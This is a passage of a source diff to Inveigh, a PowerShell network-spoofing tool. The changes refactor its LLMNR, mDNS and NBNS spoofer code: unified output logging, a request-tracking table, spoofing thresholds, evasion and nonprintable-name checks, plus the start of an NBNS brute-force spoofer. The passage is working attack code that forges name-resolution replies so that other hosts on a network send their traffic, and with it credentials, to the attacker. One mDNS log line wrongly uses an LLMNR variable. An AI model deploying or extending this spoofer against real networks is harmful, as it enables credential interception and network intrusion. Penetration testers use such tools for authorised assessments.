disabled mDNS type" - } - elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $mDNS_query_string) - { - $mDNS_response_message = "- $mDNS_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $mDNS_query_string) - { - $mDNS_response_message = "- $mDNS_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) - { - $mDNS_response_message = "- $source_IP is not on reply list" - } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $mDNS_response_message = "- $source_IP is on ignore list" - } - else - { - $mDNS_response_message = "- not spoofed due to previous capture" - } - - } - - } - - $inveigh.console_queue.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + $send_socket.SendTo($mDNS_response_packet,$destination_point) > $null + $send_socket.Close() + $mDNS_response_message = "[response sent]" + } + else + { + $mDNS_response_message = Get-SpooferResponseMessage -QueryString $mDNS_query_string -Type "mDNS" -mDNSType "QM" + $mDNS_response_type = $mDNS_response_message[0] + $mDNS_response_message = $mDNS_response_message[1] + } + } + $inveigh.output_queue.Add("$mDNS_response_type [$(Get-Date -format s)] mDNS(QM) request $mDNS_query_string_full received from $source_IP $mDNS_response_message") > $null } } @@ -2806,6 +3836,7 @@ $sniffer_scriptblock = { $UDP_length[0] += $payload_bytes.Length - 2 $LLMNR_response_data = $payload_bytes[12..$payload_bytes.Length] + $LLMNR_response_type = "[+]" $LLMNR_response_data += $LLMNR_response_data + $LLMNR_TTL_bytes + @@ -2820,18 +3851,17 @@ $sniffer_scriptblock = 0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00 + $LLMNR_response_data - $LLMNR_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes.Length - 4)]) - $LLMNR_query = $LLMNR_query -replace "-00","" + $LLMNR_query_string = [System.Text.Encoding]::UTF8.GetString($payload_bytes[13..($payload_bytes.Length - 4)]) -replace "`0","" - if($LLMNR_query.Length -eq 2) + if(!$inveigh.request_table.ContainsKey($LLMNR_query_string)) { - $LLMNR_query = [Char][System.Convert]::ToInt16($LLMNR_query,16) - $LLMNR_query_string = New-Object System.String($LLMNR_query) + $inveigh.request_table.Add($LLMNR_query_string.ToLower(),[Array]$source_IP.IPAddressToString) + $inveigh.request_table_updated = $true } else { - $LLMNR_query = $LLMNR_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $LLMNR_query_string = New-Object System.String($LLMNR_query,0,$LLMNR_query.Length) + $inveigh.request_table.$LLMNR_query_string += $source_IP.IPAddressToString + $inveigh.request_table_updated = $true } $LLMNR_request_ignore = $false @@ -2861,7 +3891,7 @@ $sniffer_scriptblock = { $LLMNR_learning_send = $true } - + if($LLMNR_learning_send) { $LLMNR_transaction_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) @@ -2880,19 +3910,8 @@ $sniffer_scriptblock = $LLMNR_UDP_client.Connect($LLMNR_learning_destination_endpoint) $LLMNR_UDP_client.Send($LLMNR_request_packet,$LLMNR_request_packet.Length) $LLMNR_UDP_client.Close() - $LLMNR_learning_log.Add("$(Get-Date -format 's') $LLMNR_transaction_ID $LLMNR_query_string") - $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string sent to 224.0.0.252") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string sent to 224.0.0.252") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string sent to 224.0.0.252") - } - + $LLMNR_learning_log.Add("$(Get-Date -format s) $LLMNR_transaction_ID $LLMNR_query_string") > $null + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] LLMNR request $LLMNR_query_string sent to 224.0.0.252") > $null } } @@ -2900,77 +3919,38 @@ $sniffer_scriptblock = if(($inveigh.valid_host_list -notcontains $LLMNR_query_string -or $SpooferHostsReply -contains $LLMNR_query_string) -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $LLMNR_query_string) -and ( !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $LLMNR_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and ( !$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ( - $SpooferLearning -eq 'N' -or ($SpooferLearning -eq 'Y' -and !$SpooferLearningDelay) -or ($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -ge $spoofer_learning_delay))) + $SpooferLearning -eq 'N' -or ($SpooferLearning -eq 'Y' -and !$SpooferLearningDelay) -or ($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -ge $spoofer_learning_delay)) -and ( + $EvadeRG -and $destination_IP.IPAddressToString -ne $IP) -and @($inveigh.request_table.$LLMNR_query_string | Where-Object {$_ -match $source_IP.IPAddressToString}).Count -gt $SpooferThresholdHost -and @( + $inveigh.request_table.$LLMNR_query_string | Sort-Object | Get-Unique).Count -gt $SpooferThresholdNetwork -and ($SpooferNonprintable -eq 'Y' -or ($SpooferNonprintable -eq 'N' -and $LLMNR_query_string -notmatch '[^\x00-\x7F]+'))) { if($SpooferLearning -eq 'N' -or !$LLMNR_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) { - $LLMNR_send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp ) + $LLMNR_send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp) $LLMNR_send_socket.SendBufferSize = 1024 $LLMNR_destination_point = New-Object System.Net.IPEndpoint($source_IP,$endpoint_source_port) - $LLMNR_send_socket.SendTo($LLMNR_response_packet,$LLMNR_destination_point) + $LLMNR_send_socket.SendTo($LLMNR_response_packet,$LLMNR_destination_point) > $null $LLMNR_send_socket.Close() - $LLMNR_response_message = "- response sent" + $LLMNR_response_message = "[response sent]" } else { $LLMNR_request_ignore = $true } + } else { - - if($SpooferHostsReply -and $SpooferHostsReply -notcontains $LLMNR_query_string) - { - $LLMNR_response_message = "- $LLMNR_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $LLMNR_query_string) - { - $LLMNR_response_message = "- $LLMNR_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) - { - $LLMNR_response_message = "- $source_IP is not on reply list" - } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $LLMNR_response_message = "- $source_IP is on ignore list" - } - elseif($inveigh.valid_host_list -contains $LLMNR_query_string) - { - $LLMNR_response_message = "- $LLMNR_query_string is a valid host" - } - elseif($inveigh.IP_capture_list -contains $source_IP.IPAddressToString) - { - $LLMNR_response_message = "- previous capture from $source_IP" - } - elseif($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -lt $spoofer_learning_delay) - { - $LLMNR_response_message = "- " + [Int]($SpooferLearningDelay - $spoofer_learning_stopwatch.Elapsed.TotalMinutes) + " minute(s) until spoofing starts" - } - else - { - $LLMNR_response_message = "- something went wrong" - } - + $LLMNR_response_message = Get-SpooferResponseMessage -QueryString $LLMNR_query_string -Type "LLMNR" + $LLMNR_response_type = $LLMNR_response_message[0] + $LLMNR_response_message = $LLMNR_response_message[1] } } - + if(!$LLMNR_request_ignore) { - $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") - } - + $inveigh.output_queue.Add("$LLMNR_response_type [$(Get-Date -format s)] LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") > $null } } @@ -2987,39 +3967,15 @@ $sniffer_scriptblock = if($SpooferLearning -eq 'Y' -and $LLMNR_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) { - $LLMNR_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes[12] + 13)]) - $LLMNR_query = $LLMNR_query -replace "-00","" - - if($LLMNR_query.Length -eq 2) - { - $LLMNR_query = [Char][System.Convert]::ToInt16($LLMNR_query,16) - $LLMNR_query_string = New-Object System.String($LLMNR_query) - } - else - { - $LLMNR_query = $LLMNR_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $LLMNR_query_string = New-Object System.String($LLMNR_query,0,$LLMNR_query.Length) - } - + $LLMNR_query_string = [System.Text.Encoding]::UTF8.GetString($payload_bytes[13..($payload_bytes.Length - 4)]) -replace "`0","" [Byte[]]$LLMNR_response_IP_bytes = $payload_bytes[($payload_bytes.Length - 4)..($payload_bytes.Length)] $LLMNR_response_IP = [System.Net.IPAddress]$LLMNR_response_IP_bytes $LLMNR_response_IP = $LLMNR_response_IP.IPAddressToString if($inveigh.valid_host_list -notcontains $LLMNR_query_string) { - $inveigh.valid_host_list.Add($LLMNR_query_string) - $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR response $LLMNR_response_IP for $LLMNR_query_string received from $source_IP - $LLMNR_query_string added to valid host list") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR response $LLMNR_response_IP for $LLMNR_query_string received from $source_IP - $LLMNR_query_string added to valid host list") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - LLMNR response $LLMNR_response_IP for $LLMNR_query_string received from $source_IP - $LLMNR_query_string added to valid host list") - } - + $inveigh.valid_host_list.Add($LLMNR_query_string) > $null + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $LLMNR_query_string LLMNR response $LLMNR_response_IP received from $source_IP [added to valid host list]") > $null } } @@ -3053,19 +4009,8 @@ $LLMNR_spoofer_scriptblock = } catch { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting LLMNR spoofer") + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] Error starting LLMNR spoofer") > $null $LLMNR_running = $false - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting LLMNR spoofer") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Error starting LLMNR spoofer") - } - } $LLMNR_multicast_group = [IPAddress]"224.0.0.252" @@ -3102,11 +4047,23 @@ $LLMNR_spoofer_scriptblock = ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() $LLMNR_query_string = [Text.Encoding]::UTF8.GetString($LLMNR_request_data[13..($LLMNR_request_data[12] + 12)]) - $source_IP = $LLMNR_listener_endpoint.Address.IPAddressToString + $source_IP = $LLMNR_listener_endpoint.Address + $LLMNR_response_type = "[+]" + + if(!$inveigh.request_table.ContainsKey($LLMNR_query_string)) + { + $inveigh.request_table.Add($LLMNR_query_string.ToLower(),[Array]$source_IP.IPAddressToString) + $inveigh.request_table_updated = $true + } + else + { + $inveigh.request_table.$LLMNR_query_string += $source_IP.IPAddressToString + $inveigh.request_table_updated = $true + } if(!$Inspect -and ($LLMNR_request_data -and $LLMNR_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $LLMNR_query_string) -and ( !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $LLMNR_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( - $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP)) + $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP) -and ($SpooferNonprintable -eq 'Y' -or ($SpooferNonprintable -eq 'N' -and $LLMNR_query_string -notmatch '[^\x00-\x7F]+'))) { $LLMNR_destination_endpoint = New-Object Net.IPEndpoint($LLMNR_listener_endpoint.Address,$LLMNR_listener_endpoint.Port) $LLMNR_UDP_client.Connect($LLMNR_destination_endpoint) @@ -3116,59 +4073,19 @@ $LLMNR_spoofer_scriptblock = $LLMNR_multicast_group = [IPAddress]"224.0.0.252" $LLMNR_UDP_client.JoinMulticastGroup($LLMNR_multicast_group) $LLMNR_UDP_client.Client.ReceiveTimeout = 5000 - $LLMNR_response_message = "- response sent" + $LLMNR_response_message = "[response sent]" } else { - - if($Inspect) - { - $LLMNR_response_message = "- inspect only" - } - elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $LLMNR_query_string) - { - $LLMNR_response_message = "- $LLMNR_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $LLMNR_query_string) - { - $LLMNR_response_message = "- $LLMNR_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) - { - $LLMNR_response_message = "- $source_IP is not on reply list" - } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $LLMNR_response_message = "- $source_IP is on ignore list" - } - elseif($inveigh.IP_capture_list -contains $source_IP) - { - $LLMNR_response_message = "- previous capture from $source_IP" - } - else - { - $LLMNR_response_message = "- something went wrong" - } - + $LLMNR_response_message = Get-SpooferResponseMessage -QueryString $LLMNR_query_string -Type "LLMNR" } - if($LLMNR_request_data) + if($LLMNR_request_data) { - $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") - } - + $inveigh.output_queue.Add("$LLMNR_response_type [$(Get-Date -format s)] LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") > $null } - $LLMNR_request_data = "" + $LLMNR_request_data = $null } } @@ -3190,19 +4107,8 @@ $mDNS_spoofer_scriptblock = } catch { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting mDNS spoofer") + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] Error starting mDNS spoofer") > $null $mDNS_running = $false - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting mDNS spoofer") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Error starting mDNS spoofer") - } - } $mDNS_multicast_group = [IPAddress]"224.0.0.251" @@ -3237,9 +4143,10 @@ $mDNS_spoofer_scriptblock = 0x00,0x04 + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() - $mDNS_query_string = DataToString 13 $mDNS_request_data[12] $mDNS_request_data + $mDNS_query_string = Convert-DataToString 13 $mDNS_request_data[12] $mDNS_request_data $mDNS_query_string_full = $mDNS_query_string + ".local" - $source_IP = $mDNS_listener_endpoint.Address.IPAddressToString + $source_IP = $mDNS_listener_endpoint.Address + $mDNS_response_type = "[+]" if(!$Inspect -and ($mDNS_request_data -and $mDNS_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string) -and ( !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $mDNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( @@ -3253,63 +4160,21 @@ $mDNS_spoofer_scriptblock = $mDNS_multicast_group = [IPAddress]"224.0.0.251" $mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group) $mDNS_UDP_client.Client.ReceiveTimeout = 5000 - $mDNS_response_message = "- response sent" + $mDNS_response_message = "[response sent]" } else { - - if($Inspect) - { - $mDNS_response_message = "- inspect only" - } - elseif($mDNSTypes -notcontains 'QU') - { - $mDNS_response_message = "- disabled mDNS type" - } - elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $mDNS_query_string) - { - $mDNS_response_message = "- $mDNS_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $mDNS_query_string) - { - $mDNS_response_message = "- $mDNS_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) - { - $mDNS_response_message = "- $source_IP is not on reply list" - } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $mDNS_response_message = "- $source_IP is on ignore list" - } - elseif($inveigh.IP_capture_list -contains $source_IP) - { - $mDNS_response_message = "- previous capture from $source_IP" - } - else - { - $mDNS_response_message = "- something went wrong" - } - + $mDNS_response_message = Get-SpooferResponseMessage -QueryString $mDNS_query_string -Type "mDNS" -mDNSType "QU" + $mDNS_response_type = $mDNS_response_message[0] + $mDNS_response_message = $mDNS_response_message[1] } - if($mDNS_request_data) + if($mDNS_request_data) { - $inveigh.console_queue.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - } - + $inveigh.output_queue.Add("$mDNS_response_type [$(Get-Date -format s)] mDNS(QU) request $mDNS_query_string_full received from $source_IP $LLMNR_response_message") > $null } - $mDNS_request_data = "" + $mDNS_request_data = $null } elseif([System.BitConverter]::ToString($mDNS_request_data) -like '*-05-6C-6F-63-61-6C-00-00-01-00-01-*') { @@ -3322,9 +4187,10 @@ $mDNS_spoofer_scriptblock = 0x00,0x04 + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() - $mDNS_query_string = DataToString 13 $mDNS_request_data[12] $mDNS_request_data + $mDNS_query_string = Convert-DataToString 13 $mDNS_request_data[12] $mDNS_request_data $mDNS_query_string_full = $mDNS_query_string + ".local" - $source_IP = $mDNS_listener_endpoint.Address.IPAddressToString + $source_IP = $mDNS_listener_endpoint.Address + $mDNS_response_type = "[+]" if(!$Inspect -and ($mDNS_request_data -and $mDNS_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string) -and ( !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $mDNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( @@ -3338,63 +4204,21 @@ $mDNS_spoofer_scriptblock = $mDNS_multicast_group = [IPAddress]"224.0.0.251" $mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group) $mDNS_UDP_client.Client.ReceiveTimeout = 5000 - $mDNS_response_message = "- response sent" + $mDNS_response_message = "[response sent]" } else { - - if($Inspect) - { - $mDNS_response_message = "- inspect only" - } - elseif($mDNSTypes -notcontains 'QM') - { - $mDNS_response_message = "- disabled mDNS type" - } - elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $mDNS_query_string) - { - $mDNS_response_message = "- $mDNS_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $mDNS_query_string) - { - $mDNS_response_message = "- $mDNS_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) - { - $mDNS_response_message = "- $source_IP is not on reply list" - } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $mDNS_response_message = "- $source_IP is on ignore list" - } - elseif($inveigh.IP_capture_list -contains $source_IP) - { - $mDNS_response_message = "- previous capture from $source_IP" - } - else - { - $mDNS_response_message = "- something went wrong" - } - + $mDNS_response_message = Get-SpooferResponseMessage -QueryString $mDNS_query_string -Type "mDNS" -mDNSType "QM" + $mDNS_response_type = $mDNS_response_message[0] + $mDNS_response_message = $mDNS_response_message[1] } if($mDNS_request_data) { - $inveigh.console_queue.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - } - + $inveigh.output_queue.Add("$mDNS_response_type [$(Get-Date -format s)] mDNS(QM) request $mDNS_query_string_full received from $source_IP $mDNS_response_message") > $null } - $mDNS_request_data = "" + $mDNS_request_data = $null } } @@ -3405,7 +4229,8 @@ $mDNS_spoofer_scriptblock = # Unprivileged NBNS Spoofer ScriptBlock $NBNS_spoofer_scriptblock = { - param ($Inspect,$NBNS_response_message,$SpooferIP,$NBNSTypes,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$NBNSTTL) + param ($Inspect,$IP,$NBNS_response_message,$NBNSTTL,$NBNSTypes,$SpooferIP,$SpooferHostsIgnore,$SpooferHostsReply, + $SpooferIPsIgnore,$SpooferIPsReply,$SpooferNonprintable) $NBNS_running = $true $NBNS_listener_endpoint = New-Object System.Net.IPEndPoint ([IPAddress]::Broadcast,137) @@ -3416,19 +4241,8 @@ $NBNS_spoofer_scriptblock = } catch { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting NBNS spoofer") + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] Error starting NBNS spoofer") > $null $NBNS_running = $false - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting NBNS spoofer") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Error starting NBNS spoofer") - } - } $NBNS_UDP_client.Client.ReceiveTimeout = 5000 @@ -3449,8 +4263,6 @@ $NBNS_spoofer_scriptblock = $NBNS_UDP_client.Client.ReceiveTimeout = 5000 } - $IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) - if($NBNS_request_data -and [System.BitConverter]::ToString($NBNS_request_data[10..11]) -ne '00-01') { $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) @@ -3464,56 +4276,17 @@ $NBNS_spoofer_scriptblock = ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + 0x00,0x00,0x00,0x00 - $source_IP = $NBNS_listener_endpoint.Address.IPAddressToString + $source_IP = $NBNS_listener_endpoint.Address $NBNS_query_type = [System.BitConverter]::ToString($NBNS_request_data[43..44]) - - switch ($NBNS_query_type) - { - - '41-41' - { - $NBNS_query_type = "00" - } - - '41-44' - { - $NBNS_query_type = "03" - } - - '43-41' - { - $NBNS_query_type = "20" - } - - '42-4C' - { - $NBNS_query_type = "1B" - } - - '42-4D' - { - $NBNS_query_type = "1C" - } - - '42-4E' - { - $NBNS_query_type = "1D" - } - - '42-4F' - { - $NBNS_query_type = "1E" - } - - } - + $NBNS_query_type = Get-NBNSQueryType $NBNS_query_type + $NBNS_response_type = "[+]" $NBNS_query = [System.BitConverter]::ToString($NBNS_request_data[13..($NBNS_request_data.Length - 4)]) $NBNS_query = $NBNS_query -replace "-00","" $NBNS_query = $NBNS_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length) $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA")) - $NBNS_query_string_subtracted = "" - $NBNS_query_string = "" + $NBNS_query_string_subtracted = $null + $NBNS_query_string = $null $n = 0 do @@ -3522,7 +4295,7 @@ $NBNS_spoofer_scriptblock = $NBNS_query_string_subtracted += ([System.Convert]::ToString($NBNS_query_string_sub,16)) $n += 1 } - until($n -gt ($NBNS_query_string_encoded.Length - 1)) + until($n -ge ($NBNS_query_string_encoded.Length)) $n = 0 @@ -3531,11 +4304,28 @@ $NBNS_spoofer_scriptblock = $NBNS_query_string += ([Char]([System.Convert]::ToInt16($NBNS_query_string_subtracted.Substring($n,2),16))) $n += 2 } - until($n -gt ($NBNS_query_string_subtracted.Length - 1) -or $NBNS_query_string.Length -eq 15) - + until($n -ge ($NBNS_query_string_subtracted.Length) -or $NBNS_query_string.Length -eq 15) + + if($NBNS_query_string -notmatch '[^\x00-\x7F]+') + { + + if(!$inveigh.request_table.ContainsKey($NBNS_query_string)) + { + $inveigh.request_table.Add($NBNS_query_string.ToLower(),[Array]$source_IP.IPAddressToString) + $inveigh.request_table_updated = $true + } + else + { + $inveigh.request_table.$NBNS_query_string += $source_IP.IPAddressToString + $inveigh.request_table_updated = $true + } + + } + if(!$Inspect -and ($NBNS_request_data -and $NBNS_listener_endpoint.Address.IPAddressToString -ne '255.255.255.255') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string) -and ( !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( - $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP) -and ($NBNSTypes -contains $NBNS_query_type) -and ($source_IP -ne $IP)) + $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP) -and ($NBNSTypes -contains $NBNS_query_type) -and ($source_IP -ne $IP) -and ($SpooferNonprintable -eq 'Y' -or ( + $SpooferNonprintable -eq 'N' -and $NBNS_query_string -notmatch '[^\x00-\x7F]+'))) { $NBNS_destination_endpoint = New-Object System.Net.IPEndpoint($NBNS_listener_endpoint.Address,137) $NBNS_UDP_client.Connect($NBNS_destination_endpoint) @@ -3543,67 +4333,21 @@ $NBNS_spoofer_scriptblock = $NBNS_UDP_client.Close() $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 $NBNS_UDP_client.Client.ReceiveTimeout = 5000 - $NBNS_response_message = "- response sent" + $NBNS_response_message = "[response sent]" } else { - - if($Inspect) - { - $NBNS_response_message = "- inspect only" - } - elseif($NBNSTypes -notcontains $NBNS_query_type) - { - $NBNS_response_message = "- disabled NBNS type" - } - elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $NBNS_query_string) - { - $NBNS_response_message = "- $NBNS_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $NBNS_query_string) - { - $NBNS_response_message = "- $NBNS_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) - { - $NBNS_response_message = "- $source_IP is not on reply list" - } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $NBNS_response_message = "- $source_IP is on ignore list" - } - elseif($inveigh.IP_capture_list -contains $source_IP) - { - $NBNS_response_message = "- previous capture from $source_IP" - } - elseif($source_IP -eq $IP) - { - $NBNS_response_message = "- local request" - } - else - { - $NBNS_response_message = "- something went wrong" - } - + $NBNS_response_message = Get-SpooferResponseMessage -QueryString $NBNS_query_string -Type "NBNS" + $NBNS_response_type = $NBNS_response_message[0] + $NBNS_response_message = $NBNS_response_message[1] } if($NBNS_request_data) { - $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") - } - + $inveigh.output_queue.Add("$NBNS_response_type [$(Get-Date -format s)] NBNS request $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") > $null } - $NBNS_request_data = "" + $NBNS_request_data = $null } } @@ -3614,7 +4358,7 @@ $NBNS_spoofer_scriptblock = # NBNS BruteForce ScriptBlock $NBNS_bruteforce_spoofer_scriptblock = { - param ($SpooferIP,$NBNSBruteForceHost,$NBNSBruteForceTarget,$NBNSBruteForcePause,$NBNSTTL) + param ($NBNSBruteForceHost,$NBNSBruteForcePause,$NBNSBruteForceTarget,$NBNSTTL,$SpooferIP) $NBNSBruteForceHost = $NBNSBruteForceHost.ToUpper() @@ -3650,22 +4394,12 @@ $NBNS_bruteforce_spoofer_scriptblock = 